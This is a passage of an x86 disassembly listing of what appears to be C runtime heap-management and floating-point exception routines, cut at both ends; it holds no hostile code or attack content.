loc_418C90 ; --------------------------------------------------------------------------- loc_418C6C: ; CODE XREF: sub_418B28+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_418C90 mov ecx, [ebp+arg_0] and [ecx+4], edx loc_418C90: ; CODE XREF: sub_418B28+11Ej ; sub_418B28+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_418CA8: ; CODE XREF: sub_418B28+113j mov edx, [ebp+var_8] loc_418CAB: ; CODE XREF: sub_418B28+DDj cmp [ebp+var_14], 0 jnz short loc_418CBA cmp [ebp+arg_4], edi jz loc_418D43 loc_418CBA: ; CODE XREF: sub_418B28+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_418D43 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_418D17 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418D06 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418D06: ; CODE XREF: sub_418B28+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_418D40 ; --------------------------------------------------------------------------- loc_418D17: ; CODE XREF: sub_418B28+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418D2D lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_418D2D: ; CODE XREF: sub_418B28+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_418D40: ; CODE XREF: sub_418B28+1EDj mov ebx, [ebp+var_C] loc_418D43: ; CODE XREF: sub_418B28+18Cj ; sub_418B28+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_418E4E mov eax, dword_46AAF4 test eax, eax jz loc_418E40 mov ecx, dword_46AAEC mov edi, dword_421178 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; VirtualFree mov ecx, dword_46AAEC mov eax, dword_46AAF4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_46AAF4 mov ecx, dword_46AAEC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_46AAF4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_46AAF4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_418DCE and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_46AAF4 loc_418DCE: ; CODE XREF: sub_418B28+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_418E40 push ebx push 0 push dword ptr [eax+0Ch] call edi ; VirtualFree mov eax, dword_46AAF4 push dword ptr [eax+10h] push 0 push dword_46AB00 call dword_421150 ; RtlFreeHeap mov eax, dword_46AAF8 mov edx, dword_46AAFC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_46AAF4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_416490 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_46AAF8 cmp eax, dword_46AAF4 jbe short loc_418E32 sub eax, 14h loc_418E32: ; CODE XREF: sub_418B28+305j mov ecx, dword_46AAFC mov dword_46AAF0, ecx jmp short loc_418E43 ; --------------------------------------------------------------------------- loc_418E40: ; CODE XREF: sub_418B28+233j ; sub_418B28+2AAj mov eax, [ebp+arg_0] loc_418E43: ; CODE XREF: sub_418B28+316j mov dword_46AAF4, eax mov dword_46AAEC, esi loc_418E4E: ; CODE XREF: sub_418B28+226j pop edi pop esi pop ebx leave retn sub_418B28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E53 proc near ; CODE XREF: sub_415E07+Ep ; sub_4174DF+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_46AAF8 mov edx, dword_46AAFC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_418E93 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_418EA3 ; --------------------------------------------------------------------------- loc_418E93: ; CODE XREF: sub_418E53+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_418EA3: ; CODE XREF: sub_418E53+3Ej mov eax, dword_46AAF0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_418ECA loc_418EB1: ; CODE XREF: sub_418E53+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418ECA add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_418EB1 loc_418ECA: ; CODE XREF: sub_418E53+5Cj ; sub_418E53+6Aj cmp ebx, [ebp+var_4] jnz short loc_418F48 mov ebx, edx loc_418ED1: ; CODE XREF: sub_418E53+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418EED mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418EEB add ebx, 14h jmp short loc_418ED1 ; --------------------------------------------------------------------------- loc_418EEB: ; CODE XREF: sub_418E53+91j cmp ebx, eax loc_418EED: ; CODE XREF: sub_418E53+83j jnz short loc_418F48 loc_418EEF: ; CODE XREF: sub_418E53+ADj cmp ebx, [ebp+var_4] jnb short loc_418F05 cmp dword ptr [ebx+8], 0 jnz short loc_418F02 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_418EEF ; --------------------------------------------------------------------------- loc_418F02: ; CODE XREF: sub_418E53+A5j cmp ebx, [ebp+var_4] loc_418F05: ; CODE XREF: sub_418E53+9Fj jnz short loc_418F2D mov ebx, edx loc_418F09: ; CODE XREF: sub_418E53+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418F1D cmp dword ptr [ebx+8], 0 jnz short loc_418F1B add ebx, 14h jmp short loc_418F09 ; --------------------------------------------------------------------------- loc_418F1B: ; CODE XREF: sub_418E53+C1j cmp ebx, eax loc_418F1D: ; CODE XREF: sub_418E53+BBj jnz short loc_418F2D call sub_41915C mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_418F41 loc_418F2D: ; CODE XREF: sub_418E53:loc_418F05j ; sub_418E53:loc_418F1Dj push ebx call sub_41920D pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_418F48 loc_418F41: ; CODE XREF: sub_418E53+D8j xor eax, eax jmp loc_419157 ; --------------------------------------------------------------------------- loc_418F48: ; CODE XREF: sub_418E53+7Aj ; sub_418E53:loc_418EEDj ... mov dword_46AAF0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_418F6F mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418FA6 loc_418F6F: ; CODE XREF: sub_418E53+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_418FA3 loc_418F8C: ; CODE XREF: sub_418E53+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_418F8C loc_418FA3: ; CODE XREF: sub_418E53+137j mov edx, [ebp+var_4] loc_418FA6: ; CODE XREF: sub_418E53+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_418FCF mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_418FCF: ; CODE XREF: sub_418E53+16Dj ; sub_418E53+183j test ecx, ecx jl short loc_418FD8 shl ecx, 1 inc edi jmp short loc_418FCF ; --------------------------------------------------------------------------- loc_418FD8: ; CODE XREF: sub_418E53+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_418FF5 push 3Fh pop esi loc_418FF5: ; CODE XREF: sub_418E53+19Dj cmp esi, edi jz loc_41910A mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_419066 cmp edi, 20h jge short loc_419035 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_419063 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_419066 ; --------------------------------------------------------------------------- loc_419035: ; CODE XREF: sub_418E53+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_419063 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_419066 ; --------------------------------------------------------------------------- loc_419063: ; CODE XREF: sub_418E53+1D6j ; sub_418E53+203j mov ebx, [ebp+arg_0] loc_419066: ; CODE XREF: sub_418E53+1B0j ; sub_418E53+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_419116 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_419107 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_4190D8 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4190C6 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_4190C6: ; CODE XREF: sub_418E53+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_419107 ; --------------------------------------------------------------------------- loc_4190D8: ; CODE XREF: sub_418E53+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4190F1 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4190F1: ; CODE XREF: sub_418E53+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_419107: ; CODE XREF: sub_418E53+24Ej ; sub_418E53+283j mov ecx, [ebp+var_8] loc_41910A: ; CODE XREF: sub_418E53+1A4j test ecx, ecx jz short loc_419119 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_419119 ; --------------------------------------------------------------------------- loc_419116: ; CODE XREF: sub_418E53+229j mov ecx, [ebp+var_8] loc_419119: ; CODE XREF: sub_418E53+2B9j ; sub_418E53+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41914F cmp ebx, dword_46AAF4 jnz short loc_41914F mov ecx, [ebp+var_4] cmp ecx, dword_46AAEC jnz short loc_41914F and dword_46AAF4, 0 loc_41914F: ; CODE XREF: sub_418E53+2E0j ; sub_418E53+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_419157: ; CODE XREF: sub_418E53+F0j pop edi pop esi pop ebx leave retn sub_418E53 endp ; =============== S U B R O U T I N E ======================================= sub_41915C proc near ; CODE XREF: sub_418E53+CCp mov eax, dword_46AAF8 mov ecx, dword_46AAE8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41919F lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_46AAFC push edi push dword_46AB00 call dword_421160 ; RtlReAllocateHeap cmp eax, edi jz short loc_4191EF add dword_46AAE8, 10h mov dword_46AAFC, eax mov eax, dword_46AAF8 loc_41919F: ; CODE XREF: sub_41915C+11j mov ecx, dword_46AAFC push 41C4h push 8 lea eax, [eax+eax*4] push dword_46AB00 lea esi, [ecx+eax*4] call dword_42114C ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_4191EF push 4 push 2000h push 100000h push edi call dword_42117C ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_4191F3 push dword ptr [esi+10h] push edi push dword_46AB00 call dword_421150 ; RtlFreeHeap loc_4191EF: ; CODE XREF: sub_41915C+30j ; sub_41915C+67j xor eax, eax jmp short loc_41920A ; --------------------------------------------------------------------------- loc_4191F3: ; CODE XREF: sub_41915C+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_46AAF8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41920A: ; CODE XREF: sub_41915C+95j pop edi pop esi retn sub_41915C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41920D proc near ; CODE XREF: sub_418E53+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41921F: ; CODE XREF: sub_41920D+19j test eax, eax jl short loc_419228 shl eax, 1 inc ebx jmp short loc_41921F ; --------------------------------------------------------------------------- loc_419228: ; CODE XREF: sub_41920D+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41923D: ; CODE XREF: sub_41920D+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41923D mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_42117C ; VirtualAlloc test eax, eax jnz short loc_419270 or eax, 0FFFFFFFFh jmp loc_419303 ; --------------------------------------------------------------------------- loc_419270: ; CODE XREF: sub_41920D+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_4192B6 lea eax, [edi+10h] loc_41927D: ; CODE XREF: sub_41920D+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41927D loc_4192B6: ; CODE XREF: sub_41920D+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_4192F3 or [eax+4], edi loc_4192F3: ; CODE XREF: sub_41920D+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_419303: ; CODE XREF: sub_41920D+5Ej pop edi pop esi pop ebx leave retn sub_41920D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419308 proc near ; CODE XREF: sub_4174DF+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_4194B6 test bl, 1 jnz loc_4194AF add ebx, ecx cmp esi, ebx jg loc_4194AF mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41937F push 3Fh pop ecx mov [ebp+var_8], ecx loc_41937F: ; CODE XREF: sub_419308+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_4193CF cmp ecx, 20h jnb short loc_4193AB mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_4193CF mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4193CF ; --------------------------------------------------------------------------- loc_4193AB: ; CODE XREF: sub_419308+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4193CF mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4193CF: ; CODE XREF: sub_419308+7Dj ; sub_419308+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41949D mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_419409 push 3Fh pop edi loc_419409: ; CODE XREF: sub_419308+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41948B mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_419462 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419455 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_419455: ; CODE XREF: sub_419308+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_419487 ; --------------------------------------------------------------------------- loc_419462: ; CODE XREF: sub_419308+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419478 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_419478: ; CODE XREF: sub_419308+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_419487: ; CODE XREF: sub_419308+158j shr edx, cl or [eax], edx loc_41948B: ; CODE XREF: sub_419308+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_4194A0 ; --------------------------------------------------------------------------- loc_41949D: ; CODE XREF: sub_419308+E5j mov edx, [ebp+arg_4] loc_4194A0: ; CODE XREF: sub_419308+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4195F6 ; --------------------------------------------------------------------------- loc_4194AF: ; CODE XREF: sub_419308+52j ; sub_419308+5Cj xor eax, eax jmp loc_4195F9 ; --------------------------------------------------------------------------- loc_4194B6: ; CODE XREF: sub_419308+49j jge loc_4195F6 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_4194E1 push 3Fh pop esi loc_4194E1: ; CODE XREF: sub_419308+1D4j test byte ptr [ebp+var_4], 1 jnz loc_419570 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4194FA push 3Fh pop esi loc_4194FA: ; CODE XREF: sub_419308+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_419549 cmp esi, 20h jnb short loc_419525 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_419546 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_419546 ; --------------------------------------------------------------------------- loc_419525: ; CODE XREF: sub_419308+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_419546 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_419546: ; CODE XREF: sub_419308+214j ; sub_419308+21Bj ... mov ebx, [ebp+arg_4] loc_419549: ; CODE XREF: sub_419308+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_419570 push 3Fh pop esi loc_419570: ; CODE XREF: sub_419308+1DDj ; sub_419308+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4195ED mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_4195C4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4195B7 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_4195B7: ; CODE XREF: sub_419308+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_4195E9 ; --------------------------------------------------------------------------- loc_4195C4: ; CODE XREF: sub_419308+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4195DA lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_4195DA: ; CODE XREF: sub_419308+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_4195E9: ; CODE XREF: sub_419308+2BAj shr edx, cl or [eax], edx loc_4195ED: ; CODE XREF: sub_419308+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4195F6: ; CODE XREF: sub_419308+1A2j ; sub_419308:loc_4194B6j push 1 pop eax loc_4195F9: ; CODE XREF: sub_419308+1A9j pop edi pop esi pop ebx leave retn sub_419308 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4195FE(int,int,double,int) sub_4195FE proc near ; CODE XREF: sub_415E6C+51p ; sub_415FB3+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_4386E8, 0 jnz short loc_419633 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_419BB3 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_419633: ; CODE XREF: sub_4195FE+Aj push 0FFFFh mov dword_469494, 21h push [ebp+arg_C] call sub_419E26 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_4195FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419651(int,int,double,double,int) sub_419651 proc near ; CODE XREF: sub_415E6C:loc_415F2Fp ; sub_415FB3:loc_416076p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41999C add esp, 0Ch test eax, eax jnz short loc_41968F lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4196E9 add esp, 18h loc_41968F: ; CODE XREF: sub_419651+1Aj push [ebp+arg_0] call sub_419C86 cmp dword_4386E8, 0 pop ecx jnz short loc_4196CD test eax, eax jz short loc_4196CD push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_419BB3 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_4196CD: ; CODE XREF: sub_419651+4Ej ; sub_419651+52j push eax call sub_419C3B mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_419E26 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196E9 proc near ; CODE XREF: sub_419651+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41971B mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41971B: ; CODE XREF: sub_4196E9+23j test cl, 2 jz short loc_41972E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41972E: ; CODE XREF: sub_4196E9+35j test cl, bl jz short loc_419740 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_419740: ; CODE XREF: sub_4196E9+47j test cl, 4 jz short loc_419753 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_419753: ; CODE XREF: sub_4196E9+5Aj test cl, 8 jz short loc_419766 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_419766: ; CODE XREF: sub_4196E9+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, 